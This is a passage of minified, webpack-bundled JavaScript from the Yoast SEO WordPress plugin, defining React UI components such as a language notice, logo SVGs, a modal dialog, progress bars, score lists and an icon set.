a=(0,l.__)("Your site language is set to %s. If this is not correct, contact your site administrator.","wordpress-seo")),a=(0,l.sprintf)(a,`{{strong}}${r}{{/strong}}`),a=(0,s.default)({mixedString:a,components:{strong:o.default.createElement("strong",null)}}),o.default.createElement(c,null,a,t&&o.default.createElement(f,{href:e},(0,l.__)("Change language","wordpress-seo")))}}t.default=p;const h=t.languageNoticePropType={changeLanguageLink:n.default.string.isRequired,canChangeLanguage:n.default.bool,language:n.default.string.isRequired,showLanguageNotice:n.default.bool};p.propTypes=h,p.defaultProps={canChangeLanguage:!1,showLanguageNotice:!1}},50933:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=l(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var s=n?Object.getOwnPropertyDescriptor(e,a):null;s&&(s.get||s.set)?Object.defineProperty(o,a,s):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(98487));function l(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(l=function(e){return e?r:t})(e)}function s(e){return e&&e.__esModule?e:{default:e}}const i=({className:e})=>(""!==e&&(e+=" "),e+="yoast-loader",o.default.createElement("svg",{version:"1.1",id:"Y__x2B__bg",x:"0px",y:"0px",viewBox:"0 0 500 500",className:e},o.default.createElement("g",null,o.default.createElement("g",null,o.default.createElement("linearGradient",{id:"SVGID_1_",gradientUnits:"userSpaceOnUse",x1:"250",y1:"428.6121",x2:"250",y2:"77.122"},o.default.createElement("stop",{offset:"0",style:{stopColor:"#570732"}}),o.default.createElement("stop",{offset:"2.377558e-02",style:{stopColor:"#5D0936"}}),o.default.createElement("stop",{offset:"0.1559",style:{stopColor:"#771549"}}),o.default.createElement("stop",{offset:"0.3019",style:{stopColor:"#8B1D58"}}),o.default.createElement("stop",{offset:"0.4669",style:{stopColor:"#992362"}}),o.default.createElement("stop",{offset:"0.6671",style:{stopColor:"#A12768"}}),o.default.createElement("stop",{offset:"1",style:{stopColor:"#A4286A"}})),o.default.createElement("path",{fill:"url(#SVGID_1_)",d:"M454.7,428.6H118.4c-40.2,0-73.2-32.9-73.2-73.2V150.3c0-40.2,32.9-73.2,73.2-73.2h263.1 c40.2,0,73.2,32.9,73.2,73.2V428.6z"})),o.default.createElement("g",null,o.default.createElement("g",null,o.default.createElement("g",null,o.default.createElement("g",null,o.default.createElement("path",{fill:"#A4286A",d:"M357.1,102.4l-43.8,9.4L239.9,277l-47.2-147.8h-70.2l78.6,201.9c6.7,17.2,6.7,36.3,0,53.5 c-6.7,17.2,45.1-84.1,24.7-75.7c0,0,34.9,97.6,36.4,94.5c7-14.3,13.7-30.3,20.2-48.5L387.4,72 C387.4,72,358.4,102.4,357.1,102.4z"}))))),o.default.createElement("g",null,o.default.createElement("linearGradient",{id:"SVGID_2_",gradientUnits:"userSpaceOnUse",x1:"266.5665",y1:"-6.9686",x2:"266.5665",y2:"378.4586"},o.default.createElement("stop",{offset:"0",style:{stopColor:"#77B227"}}),o.default.createElement("stop",{offset:"0.4669",style:{stopColor:"#75B027"}}),o.default.createElement("stop",{offset:"0.635",style:{stopColor:"#6EAB27"}}),o.default.createElement("stop",{offset:"0.7549",style:{stopColor:"#63A027"}}),o.default.createElement("stop",{offset:"0.8518",style:{stopColor:"#529228"}}),o.default.createElement("stop",{offset:"0.9339",style:{stopColor:"#3C7F28"}}),o.default.createElement("stop",{offset:"1",style:{stopColor:"#246B29"}})),o.default.createElement("path",{fill:"url(#SVGID_2_)",d:"M337,6.1l-98.6,273.8l-47.2-147.8H121L199.6,334c6.7,17.2,6.7,36.3,0,53.5 c-8.8,22.5-23.4,41.8-59,46.6v59.9c69.4,0,106.9-42.6,140.3-136.1L412.1,6.1H337z"}),o.default.createElement("path",{fill:"#FFFFFF",d:"M140.6,500h-6.1v-71.4l5.3-0.7c34.8-4.7,46.9-24.2,54.1-42.7c6.2-15.8,6.2-33.2,0-49l-81.9-210.3h83.7 l43.1,134.9L332.7,0h88.3L286.7,359.9c-17.9,50-36.4,83.4-58.1,105.3C205,488.9,177,500,140.6,500z M146.7,439.2v48.3 c29.9-1.2,53.3-11.1,73.1-31.1c20.4-20.5,38-52.6,55.3-100.9L403.2,12.3h-61.9L238.1,299l-51.3-160.8H130l75.3,193.5 c7.3,18.7,7.3,39.2,0,57.9C197.7,409.3,184.1,432.4,146.7,439.2z"})))));i.propTypes={className:n.default.string},i.defaultProps={className:""};const u=a.keyframes`
	0%   { transform: scale( 0.70 ); opacity: 0.4; }
	80%  { opacity: 1 }
	100%  { transform: scale( 0.95 ); opacity: 1 }
`;t.default=(0,a.default)(i)`
	animation: ${u} 1.15s infinite;
	animation-direction: alternate;
	animation-timing-function: cubic-bezier(0.96, 0.02, 0.63, 0.86);
`},73028:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=(o=r(99196))&&o.__esModule?o:{default:o};function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},a.apply(this,arguments)}t.default=e=>n.default.createElement("svg",a({},e,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 520 240"}),n.default.createElement("linearGradient",{id:"a",gradientUnits:"userSpaceOnUse",x1:"476.05",y1:"194.48",x2:"476.05",y2:"36.513"},n.default.createElement("stop",{offset:"0",style:{stopColor:"#570732"}}),n.default.createElement("stop",{offset:".038",style:{stopColor:"#610b39"}}),n.default.createElement("stop",{offset:".155",style:{stopColor:"#79164b"}}),n.default.createElement("stop",{offset:".287",style:{stopColor:"#8c1e59"}}),n.default.createElement("stop",{offset:".44",style:{stopColor:"#9a2463"}}),n.default.createElement("stop",{offset:".633",style:{stopColor:"#a22768"}}),n.default.createElement("stop",{offset:"1",style:{stopColor:"#a4286a"}})),n.default.createElement("path",{fill:"url(#a)",d:"M488.7 146.1v-56h20V65.9h-20V36.5h-30.9v29.3h-15.7v24.3h15.7v52.8c0 30 20.9 47.8 43 51.5l9.2-24.8c-12.9-1.6-21.2-11.2-21.3-23.5z"}),n.default.createElement("linearGradient",{id:"b",gradientUnits:"userSpaceOnUse",x1:"287.149",y1:"172.553",x2:"287.149",y2:"61.835"},n.default.createElement("stop",{offset:"0",style:{stopColor:"#570732"}}),n.default.createElement("stop",{offset:".038",style:{stopColor:"#610b39"}}),n.default.createElement("stop",{offset:".155",style:{stopColor:"#79164b"}}),n.default.createElement("stop",{offset:".287",style:{stopColor:"#8c1e59"}}),n.default.createElement("stop",{offset:".44",style:{stopColor:"#9a2463"}}),n.default.createElement("stop",{offset:".633",style:{stopColor:"#a22768"}}),n.default.createElement("stop",{offset:"1",style:{stopColor:"#a4286a"}})),n.default.createElement("path",{fill:"url(#b)",d:"M332.8 137.3V95.2c0-1.5-.1-3-.2-4.4-2.7-34-51-33.9-88.3-20.9L255 91.7c24.3-11.6 38.9-8.6 44-2.9l.4.4v.1c2.6 3.5 2 9 2 13.4-31.8 0-65.7 4.2-65.7 39.1 0 26.5 33.2 43.6 68 18.3l5.2 12.4h29.8c-2.8-14.5-5.9-27-5.9-35.2zm-31.2-.3c-24.5 27.4-46.9 1.6-23.9-9.6 6.8-2.3 15.9-2.4 23.9-2.4v12z"}),n.default.createElement("linearGradient",{id:"c",gradientUnits:"userSpaceOnUse",x1:"390.54",y1:"172.989",x2:"390.54",y2:"61.266"},n.default.createElement("stop",{offset:"0",style:{stopColor:"#570732"}}),n.default.createElement("stop",{offset:".038",style:{stopColor:"#610b39"}}),n.default.createElement("stop",{offset:".155",style:{stopColor:"#79164b"}}),n.default.createElement("stop",{offset:".287",style:{stopColor:"#8c1e59"}}),n.default.createElement("stop",{offset:".44",style:{stopColor:"#9a2463"}}),n.default.createElement("stop",{offset:".633",style:{stopColor:"#a22768"}}),n.default.createElement("stop",{offset:"1",style:{stopColor:"#a4286a"}})),n.default.createElement("path",{fill:"url(#c)",d:"M380.3 92.9c0-10.4 16.6-15.2 42.8-3.3l9.1-22C397 57 348.9 56 348.6 92.8c-.1 17.7 11.2 27.2 27.5 33.2 11.3 4.2 27.6 6.4 27.6 15.4-.1 11.8-25.3 13.6-48.4-2.3l-9.3 23.8c31.4 15.6 89.7 16.1 89.4-23.1-.4-38.5-55.1-31.9-55.1-46.9z"}),n.default.createElement("linearGradient",{id:"d",gradientUnits:"userSpaceOnUse",x1:"76.149",y1:"3.197",x2:"76.149",y2:"178.39"},n.default.createElement("stop",{offset:"0",style:{stopColor:"#77b227"}}),n.default.createElement("stop",{offset:".467",style:{stopColor:"#75b027"}}),n.default.createElement("stop",{offset:".635",style:{stopColor:"#6eab27"}}),n.default.createElement("stop",{offset:".755",style:{stopColor:"#63a027"}}),n.default.createElement("stop",{offset:".852",style:{stopColor:"#529228"}}),n.default.createElement("stop",{offset:".934",style:{stopColor:"#3c7f28"}}),n.default.createElement("stop",{offset:"1",style:{stopColor:"#246b29"}})),n.default.createElement("path",{fill:"url(#d)",d:"M108.2 9.2L63.4 133.6 41.9 66.4H10l35.7 91.8c3 7.8 3 16.5 0 24.3-4 10.2-10.6 19-26.8 21.2v27.2c31.5 0 48.6-19.4 63.8-61.9L142.3 9.2h-34.1z"}),n.default.createElement("linearGradient",{id:"e",gradientUnits:"userSpaceOnUse",x1:"175.228",y1:"172.923",x2:"175.228",y2:"62.17"},n.default.createElement("stop",{offset:"0",style:{stopColor:"#570732"}}),n.default.createElement("stop",{offset:".038",style:{stopColor:"#610b39"}}),n.default.createElement("stop",{offset:".155",style:{stopColor:"#79164b"}}),n.default.createElement("stop",{offset:".287",style:{stopColor:"#8c1e59"}}),n.default.createElement("stop",{offset:".44",style:{stopColor:"#9a2463"}}),n.default.createElement("stop",{offset:".633",style:{stopColor:"#a22768"}}),n.default.createElement("stop",{offset:"1",style:{stopColor:"#a4286a"}})),n.default.createElement("path",{fill:"url(#e)",d:"M175.2 62.2c-38.6 0-54 27.3-54 56.2 0 30 15.1 54.6 54 54.6 38.7 0 54.1-27.6 54-54.6-.1-33-16.8-56.2-54-56.2zm0 87.1c-15.7 0-23.4-11.7-23.4-30.9s8.3-32.9 23.4-32.9c15 0 23.2 13.7 23.2 32.9s-7.5 30.9-23.2 30.9z"}))},79610:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=u(r(99196)),n=u(r(85890)),a=u(r(83253)),l=u(r(98487)),s=r(37188),i=u(r(78386));function u(e){return e&&e.__esModule?e:{default:e}}const d=l.default.h1`
	float: left;
	margin: -4px 0 2rem;
	font-size: 1rem;
`,c=l.default.button`
	float: right;
	width: 44px;
	height: 44px;
	background: transparent;
	border: 0;
	margin: -16px -16px 0 0;
	padding: 0;
	cursor: pointer;
`;class f extends o.default.Component{constructor(e){super(e)}render(){return o.default.createElement(a.default,{isOpen:this.props.isOpen,onRequestClose:this.props.onClose,role:"dialog",contentLabel:this.props.modalAriaLabel,overlayClassName:`yoast-modal__overlay ${this.props.className}`,className:`yoast-modal__content ${this.props.className}`,appElement:this.props.appElement,bodyOpenClassName:"yoast-modal_is-open"},o.default.createElement("div",null,this.props.heading&&o.default.createElement(d,{className:"yoast-modal__title"},this.props.heading),this.props.closeIconButton&&o.default.createElement(c,{type:"button",onClick:this.props.onClose,className:`yoast-modal__button-close-icon ${this.props.closeIconButtonClassName}`,"aria-label":this.props.closeIconButton},o.default.createElement(i.default,{icon:"times",color:s.colors.$color_grey_text}))),o.default.createElement("div",{className:"yoast-modal__inside"},this.props.children),this.props.closeButton&&o.default.createElement("div",{className:"yoast-modal__actions"},o.default.createElement("button",{type:"button",onClick:this.props.onClose,className:`yoast-modal__button-close ${this.props.closeButtonClassName}`},this.props.closeButton)))}}f.propTypes={children:n.default.any,className:n.default.string,isOpen:n.default.bool,onClose:n.default.func.isRequired,modalAriaLabel:n.default.string.isRequired,appElement:n.default.object.isRequired,heading:n.default.string,closeIconButton:n.default.string,closeIconButtonClassName:n.default.string,closeButton:n.default.string,closeButtonClassName:n.default.string},f.defaultProps={children:null,className:"",heading:"",closeIconButton:"",closeIconButtonClassName:"",closeButton:"",closeButtonClassName:"",isOpen:!1};const p=(0,l.default)(f)`
	&.yoast-modal__overlay {
		position: fixed;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
		background-color: rgba(0, 0, 0, 0.6);
		transition: background 100ms ease-out;
		z-index: 999999;
	}

	&.yoast-modal__content {
		position: absolute;
		top: 50%;
		left: 50%;
		right: auto;
		bottom: auto;
		width: auto;
		max-width: 90%;
		max-height: 90%;
		border: 0;
		border-radius: 0;
		margin-right: -50%;
		padding: 24px;
		transform: translate(-50%, -50%);
		background-color: #fff;
		outline: none;

		@media screen and ( max-width: 500px ) {
			overflow-y: auto;
		}

		@media screen and ( max-height: 640px ) {
			overflow-y: auto;
		}
	}

	.yoast-modal__inside {
		clear: both;
	}

	.yoast-modal__actions {
		text-align: right;
	}

	.yoast-modal__actions button {
		margin: 24px 0 0 8px;
	}
`;t.default=p},64737:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(85890)),a=i(r(98487)),l=r(37188),s=i(r(78386));function i(e){return e&&e.__esModule?e:{default:e}}const u=a.default.div`
	padding: 8px;
`,d=a.default.ol`
	padding: 0;
	margin: 0;

	list-style: none;
	counter-reset: multi-step-progress-counter;

	li {
		counter-increment: multi-step-progress-counter;
	}
`,c=a.default.li`
	display: flex;
	align-items: baseline;

	margin: 8px 0;

	:first-child {
		margin-top: 0;
	}

	:last-child {
		margin-bottom: 0;
	}

	span {
		margin: 0 8px;
	}

	svg {
		position: relative;
		top: 2px;
	}

	::before {
		content: counter( multi-step-progress-counter );
		font-size: 12px;
		background: ${l.colors.$color_pink_dark};
		border-radius: 50%;
		min-width: 16px;
		height: 16px;
		padding: 4px;
		color: ${l.colors.$color_white};
		text-align: center;
	}
`,f=(0,a.default)(c)`
	span {
		color: ${l.colors.$palette_grey_text_light};
	}

	::before {
		background-color: ${l.colors.$palette_grey_medium_dark};
	}
`,p=(0,a.default)(c)`
	::before {
		background-color: ${l.colors.$palette_grey_medium_dark};
	}
`;class h extends o.default.Component{render(){return o.default.createElement(u,{role:"status","aria-live":"polite","aria-relevant":"additions text","aria-atomic":!0},o.default.createElement(d,null,this.props.steps.map((e=>{switch(e.status){case"running":return this.renderRunningState(e);case"failed":return this.renderFailedState(e);case"finished":return this.renderFinishedState(e);default:return this.renderPendingState(e)}}))))}renderPendingState(e){return o.default.createElement(f,{key:e.id},o.default.createElement("span",null,e.text))}renderRunningState(e){return o.default.createElement(p,{key:e.id},o.default.createElement("span",null,e.text),o.default.createElement(s.default,{icon:"loading-spinner"}))}renderFinishedState(e){return o.default.createElement(c,{key:e.id},o.default.createElement("span",null,e.text),o.default.createElement(s.default,{icon:"check",color:l.colors.$color_green_medium_light}))}renderFailedState(e){return o.default.createElement(c,{key:e.id},o.default.createElement("span",null,e.text),o.default.createElement(s.default,{icon:"times",color:l.colors.$color_red}))}}h.defaultProps={steps:[]},h.propTypes={steps:n.default.arrayOf(n.default.shape({status:n.default.oneOf(["pending","running","finished","failed"]).isRequired,text:n.default.string.isRequired,id:n.default.string.isRequired}))},t.default=h},18506:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=d(r(99196)),n=d(r(85890)),a=d(r(98487)),l=r(65736),s=r(37188),i=d(r(8272)),u=d(r(78386));function d(e){return e&&e.__esModule?e:{default:e}}const c=a.default.div`
	display: flex;
	align-items: center;
	padding: 24px;

	h1, h2, h3, h4, h5, h6 {
		font-size: 1.4em;
		line-height: 1;
		margin: 0 0 4px 0;

		@media screen and ( max-width: ${s.breakpoints.mobile} ) {
			${e=>e.isDismissable?"margin-right: 30px;":""}
		}
	}

	p:last-child {
		margin: 0;
	}

	@media screen and ( max-width: ${s.breakpoints.mobile} ) {
		display: block;
		position: relative;
		padding: 16px;
	}
`,f=a.default.img`
	flex: 0 0 ${e=>e.imageWidth?e.imageWidth:"auto"};
	height: ${e=>e.imageHeight?e.imageHeight:"auto"};
	margin-right: 24px;

	@media screen and ( max-width: ${s.breakpoints.mobile} ) {
		display: none;
	}
`,p=a.default.div`
	flex: 1 1 auto;
`,h=a.default.button`
	flex: 0 0 40px;
	height: 40px;
	border: 0;
	margin: 0 0 0 10px;
	padding: 0;
	background: transparent;
	cursor: pointer;

	@media screen and ( max-width: ${s.breakpoints.mobile} ) {
		width: 40px;
		position: absolute;
		top: 5px;
		right: 5px;
		margin: 0;
	}
`,b=(0,a.default)(u.default)`
	vertical-align: middle;
`;function g(e){const t=`${e.headingLevel}`;return o.default.createElement(i.default,null,o.default.createElement(c,{isDismissable:e.isDismissable},e.imageSrc&&o.default.createElement(f,{src:e.imageSrc,imageWidth:e.imageWidth,imageHeight:e.imageHeight,alt:""}),o.default.createElement(p,null,o.default.createElement(t,null,e.title),o.default.createElement("p",{className:"prova",dangerouslySetInnerHTML:{__html:e.html}})),e.isDismissable&&o.default.createElement(h,{onClick:e.onClick,type:"button","aria-label":(0,l.__)("Dismiss this notice","wordpress-seo")},o.default.createElement(b,{icon:"times",color:s.colors.$color_grey_text,size:"24px"}))))}g.propTypes={imageSrc:n.default.string,imageWidth:n.default.string,imageHeight:n.default.string,title:n.default.string,html:n.default.string,isDismissable:n.default.bool,onClick:n.default.func,headingLevel:n.default.string},g.defaultProps={isDismissable:!1,headingLevel:"h3"},t.default=g},8272:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(85890)),n=l(r(98487)),a=r(37188);function l(e){return e&&e.__esModule?e:{default:e}}const s=n.default.div`
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
	background-color: ${e=>e.backgroundColor};
	min-height: ${e=>e.minHeight};
`;s.propTypes={backgroundColor:o.default.string,minHeight:o.default.string},s.defaultProps={backgroundColor:a.colors.$color_white,minHeight:"0"},t.default=s},57186:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(85890)),n=l(r(98487)),a=r(37188);function l(e){return e&&e.__esModule?e:{default:e}}const s=n.default.progress`
	box-sizing: border-box;
	width: 100%;
	height: 8px;
	display: block;
	margin-top: 8px;
	appearance: none;
	background-color: ${e=>e.backgroundColor};
	border: 1px solid ${e=>e.borderColor};

	::-webkit-progress-bar {
	   	background-color: ${e=>e.backgroundColor};
	}

	::-webkit-progress-value {
		background-color: ${e=>e.progressColor};
		transition: width 250ms;
	}

	::-moz-progress-bar {
		background-color: ${e=>e.progressColor};
	}
	
	::-ms-fill {
		background-color: ${e=>e.progressColor};
		border: 0;
	}
`;s.defaultProps={max:1,value:0,progressColor:a.colors.$color_good,backgroundColor:a.colors.$color_background_light,borderColor:a.colors.$color_input_border,"aria-hidden":"true"},s.propTypes={max:o.default.number,value:o.default.number,progressColor:o.default.string,backgroundColor:o.default.string,borderColor:o.default.string,"aria-hidden":o.default.string},t.default=s},5180:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=r(23695),n=s(r(99196)),a=s(r(85890)),l=s(r(98487));function s(e){return e&&e.__esModule?e:{default:e}}const{stripTagsFromHtmlString:i}=o.strings,u=["a","b","strong","em","i","span","p","ul","ol","li","div"],d=l.default.li`
	display: table-row;
	font-size: 14px;
`,c=l.default.span`
	display: table-cell;
	padding: 2px;
`,f=(0,l.default)(c)`
	position: relative;
	top: 1px;
	display: inline-block;
	height: 8px;
	width: 8px;
	border-radius: 50%;
	background-color: ${e=>e.scoreColor};
`;f.propTypes={scoreColor:a.default.string.isRequired};const p=(0,l.default)(c)`
	padding-left: 8px;
	width: 100%;
`,h=(0,l.default)(c)`
	font-weight: 600;
	text-align: right;
	padding-left: 16px;
`,b=e=>n.default.createElement(d,{className:`${e.className}`},n.default.createElement(f,{className:`${e.className}-bullet`,scoreColor:e.scoreColor}),n.default.createElement(p,{className:`${e.className}-text`,dangerouslySetInnerHTML:{__html:i(e.html,u)}}),e.value&&n.default.createElement(h,{className:`${e.className}-score`},e.value));b.propTypes={className:a.default.string.isRequired,scoreColor:a.default.string.isRequired,html:a.default.string.isRequired,value:a.default.number};const g=l.default.ul`
	display: table;
	box-sizing: border-box;
	list-style: none;
	max-width: 100%;
	min-width: 200px;
	margin: 8px 0;
	padding: 0 8px;
`,m=e=>n.default.createElement(g,{className:e.className,role:"list"},e.items.map(((t,r)=>n.default.createElement(b,{className:`${e.className}__item`,key:r,scoreColor:t.color,html:t.html,value:t.value}))));m.propTypes={className:a.default.string,items:a.default.arrayOf(a.default.shape({color:a.default.string.isRequired,html:a.default.string.isRequired,value:a.default.number}))},m.defaultProps={className:"score-assessments"},t.default=m},37553:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(33014));function l(e){return e&&e.__esModule?e:{default:e}}const s=e=>o.default.createElement("section",{className:e.className},e.headingText&&o.default.createElement(a.default,{level:e.headingLevel,className:e.headingClassName},e.headingText),e.children);s.propTypes={className:n.default.string,headingText:n.default.string,headingLevel:n.default.number,headingClassName:n.default.string,children:n.default.any},s.defaultProps={headingLevel:1},t.default=s},91752:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.StyledTitleContainer=t.StyledTitle=t.StyledSubTitle=t.SectionTitle=void 0;var o=i(r(99196)),n=i(r(85890)),a=i(r(98487)),l=r(37188),s=i(r(42479));function i(e){return e&&e.__esModule?e:{default:e}}const u=t.StyledTitleContainer=a.default.span`
	flex-grow: 1;
	overflow-x: hidden;
	line-height: normal; // Avoid vertical scrollbar in IE 11 when rendered in the WP sidebar.
`,d=t.StyledTitle=a.default.span`
	display: block;
	line-height: 1.5; 
	text-overflow: ellipsis;
	overflow: hidden;
	color: ${l.colors.$color_headings};
`,c=t.StyledSubTitle=a.default.span`
	display: block;
	white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
	font-size: 0.8125rem;
	margin-top: 2px;
`,f=e=>o.default.createElement(u,null,o.default.createElement(d,null,e.title,e.titleScreenReaderText&&o.default.createElement(s.default,null," "+e.titleScreenReaderText)),e.subTitle&&o.default.createElement(c,null,e.subTitle));t.SectionTitle=f,f.propTypes={title:n.default.string.isRequired,titleScreenReaderText:n.default.string,subTitle:n.default.string}},27177:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SparklesIcon=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}const l=({pressed:e=!1,className:t=""})=>{const r=`gradient-${Math.random().toString(36).substring(2,9)}`;return o.default.createElement("svg",{width:"16",height:"17",viewBox:"0 0 16 17",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:t},o.default.createElement("path",{d:"M3.33284 2.96991V5.63658M1.99951 4.30324H4.66618M3.99951 12.3032V14.9699M2.66618 13.6366H5.33284M8.66618 2.96991L10.19 7.54134L13.9995 8.96991L10.19 10.3985L8.66618 14.9699L7.14237 10.3985L3.33284 8.96991L7.14237 7.54134L8.66618 2.96991Z",strokeLinecap:"round",strokeLinejoin:"round",stroke:e?"white":`url(#${r})`,strokeWidth:"1.33333"}),o.default.createElement("defs",null,o.default.createElement("linearGradient",{id:r,x1:"1.99951",y1:"2.96991",x2:"15.3308",y2:"4.69764",gradientUnits:"userSpaceOnUse"},o.default.createElement("stop",{offset:"0%",stopColor:"#A61E69"}),o.default.createElement("stop",{offset:"100%",stopColor:"#6366F1"}))))};t.SparklesIcon=l,l.propTypes={pressed:n.default.bool,className:n.default.string}},49526:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(98487));function l(e){return e&&e.__esModule?e:{default:e}}const s=a.default.div`
	margin: 8px 0;
	height: ${e=>e.barHeight};
	overflow: hidden;
`,i=a.default.span`
	display: inline-block;
	vertical-align: top;
	width: ${e=>`${e.progressWidth}%`};
	background-color: ${e=>e.progressColor};
	height: 100%;
`;i.propTypes={progressWidth:n.default.number.isRequired,progressColor:n.default.string.isRequired};const u=e=>{let t=0;for(let r=0;r<e.items.length;r++)e.items[r].value=Math.max(e.items[r].value,0),t+=e.items[r].value;return t<=0?null:o.default.createElement(s,{className:e.className,barHeight:e.barHeight},e.items.map(((r,n)=>o.default.createElement(i,{className:`${e.className}__part`,key:n,progressColor:r.color,progressWidth:r.value/t*100}))))};u.propTypes={className:n.default.string,items:n.default.arrayOf(n.default.shape({value:n.default.number.isRequired,color:n.default.string.isRequired})),barHeight:n.default.string},u.defaultProps={className:"stacked-progress-bar",barHeight:"24px"},t.default=u},78538:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.StyledSectionBase=t.StyledIcon=t.StyledHeading=void 0;var o=c(r(99196)),n=c(r(85890)),a=c(r(98487)),l=r(37188),s=r(23695),i=c(r(37553)),u=c(r(33014)),d=c(r(78386));function c(e){return e&&e.__esModule?e:{default:e}}const f=t.StyledHeading=(0,a.default)(u.default)`
	margin-left: ${(0,s.getDirectionalStyle)("0","20px")};
	padding: ${(0,s.getDirectionalStyle)("0","20px")};
`,p=t.StyledIcon=(0,a.default)(d.default)``,h=t.StyledSectionBase=(0,a.default)(i.default)`
	box-shadow: ${e=>e.hasPaperStyle?`0 1px 2px ${(0,l.rgba)(l.colors.$color_black,.2)}`:"none"};
	background-color: ${e=>e.hasPaperStyle?l.colors.$color_white:"transparent"};
	padding-right: ${e=>e.hasPaperStyle?"20px":"0"};
	padding-left: ${e=>e.hasPaperStyle?"20px":"0"};
	padding-bottom: ${e=>e.headingText?"0":"10px"};
	padding-top: ${e=>e.headingText?"0":"10px"};

	*, & {
		box-sizing: border-box;

		&:before, &:after {
			box-sizing: border-box;
		}
	}

	& ${f} {
		display: flex;
		align-items: center;
		padding: 8px 0 0;
		font-size: 1rem;
		line-height: 1.5;
		margin: 0 0 16px;
		font-family: "Open Sans", sans-serif;
		font-weight: 300;
		color: ${e=>e.headingColor?e.headingColor:`${l.colors.$color_grey_dark}`};
	}

	& ${p} {
		flex: 0 0 auto;
		${(0,s.getDirectionalStyle)("margin-right","margin-left")}: 8px;
	}
`,b=e=>o.default.createElement(h,{className:e.className,headingColor:e.headingColor,hasPaperStyle:e.hasPaperStyle},e.headingText&&o.default.createElement(f,{level:e.headingLevel,className:e.headingClassName},e.headingIcon&&o.default.createElement(p,{icon:e.headingIcon,color:e.headingIconColor,size:e.headingIconSize}),e.headingText),e.children);b.propTypes={className:n.default.string,headingLevel:n.default.number,headingClassName:n.default.string,headingColor:n.default.string,headingIcon:n.default.string,headingIconColor:n.default.string,headingIconSize:n.default.string,headingText:n.default.string,hasPaperStyle:n.default.bool,children:n.default.any},b.defaultProps={className:"yoast-section",headingLevel:2,hasPaperStyle:!0},t.default=b},78386:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.icons=t.default=void 0;var o=l(r(99196)),n=l(r(98487)),a=r(23695);function l(e){return e&&e.__esModule?e:{default:e}}const s=n.default.svg`
	width: ${e=>e.size};
	height: ${e=>e.size};
	flex: none;

	animation: loadingSpinnerRotator 1.4s linear infinite;

	& .path {
		stroke: ${e=>e.fill};
		stroke-dasharray: 187;
		stroke-dashoffset: 0;
		transform-origin: center;
		animation: loadingSpinnerDash 1.4s ease-in-out infinite;
	}

	@keyframes loadingSpinnerRotator {
		0% { transform: rotate( 0deg ); }
		100% { transform: rotate( 270deg ); }
	}

	@keyframes loadingSpinnerDash {
		0% { stroke-dashoffset: 187; }
		50% {
			stroke-dashoffset: 47;
			transform:rotate( 135deg );
		}
		100% {
			stroke-dashoffset: 187;
			transform: rotate( 450deg );
		}
	}
`,i="0 0 1792 1792",u=t.icons={"chevron-down":{viewbox:"0 0 24 24",width:"24px",path:[o.default.createElement("g",{key:"1"},o.default.createElement("path",{fill:"none",d:"M0,0h24v24H0V0z"})),o.default.createElement("g",{key:"2"},o.default.createElement("path",{d:"M7.41,8.59L12,13.17l4.59-4.58L18,10l-6,6l-6-6L7.41,8.59z"}))]},"chevron-up":{viewbox:"0 0 24 24",width:"24px",path:[o.default.createElement("g",{key:"1"},o.default.createElement("path",{fill:"none",d:"M0,0h24v24H0V0z"})),o.default.createElement("g",{key:"2"},o.default.createElement("path",{d:"M12,8l-6,6l1.41,1.41L12,10.83l4.59,4.58L18,14L12,8z"}))]},clipboard:{viewbox:i,path:"M768 1664h896v-640h-416q-40 0-68-28t-28-68v-416h-384v1152zm256-1440v-64q0-13-9.5-22.5t-22.5-9.5h-704q-13 0-22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h704q13 0 22.5-9.5t9.5-22.5zm256 672h299l-299-299v299zm512 128v672q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-160h-544q-40 0-68-28t-28-68v-1344q0-40 28-68t68-28h1088q40 0 68 28t28 68v328q21 13 36 28l408 408q28 28 48 76t20 88z"},check:{viewbox:i,path:"M249.2,431.2c-23,0-45.6,9.4-61.8,25.6L25.6,618.6C9.4,634.8,0,657.4,0,680.4c0,23,9.4,45.6,25.6,61.8 